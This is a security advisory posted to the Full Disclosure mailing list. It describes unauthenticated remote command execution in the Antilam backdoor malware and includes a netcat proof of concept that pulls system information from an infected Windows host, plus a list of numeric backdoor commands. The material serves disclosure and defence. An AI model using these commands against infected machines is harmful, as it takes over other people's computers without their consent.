Date: Sat, 8 May 2021 00:11:53 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Antilam.13.a / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/1ef711b34cc278449f1997e4ed06334a.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Antilam.13.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware drops an executable named "scandisk.exe" that
listens on TCP ports 47891 and 29559. Third party attackers who can reach
infected systems can execute commands made available by the backdoor.
Netcat utility worked the best for running commands, which are supplied as
numeric values or hex characters. The values sent correspond to different
commands mapped in the backdoor. Example, to get the date/time we can enter
015 or the hex value 0xF.
Type: PE
MD5: 1ef711b34cc278449f1997e4ed06334a
Vuln ID: MVID-2021-0204
Dropped files: scandisk.exe
Disclosure: 05/07/2021

Exploit/PoC:
001 + Enter (Gets system info)

nc64.exe 192.168.88.127 47891
001
╧α∩Ωα Windows: C:\WINDOWS
╧α∩Ωα System:
╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\
┬σ≡±Φ  Windows: Windows NT 6.2 9200
╠Φφ≤≥ Γ Windows: 688
╚∞  Ωε∞∩α: DESKTOP-1B6KQJO
╚∞  ■τσ≡α: Victim
▀τ√Ω Windows: English (United States)
╨ατ≡σ°σφΦσ: 1593x810
NumLock: Off
CapsLock: Off
ScrollLock: Off
╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 2,059,726,640
╒ε±≥: DESKTOP-1B6KQJO

Other commands:

004 Taskbar
007 Monitor
009 Ctrl+Alt+Del
010 CapsLock
012 CD-ROM
015 or 0xF(HEX) Get Date/Time
018 Mouse was been unlocked
029 returns name of the current malware running
022 returns the 65784am ManagerAdministrator Command Prompt Promptrator)


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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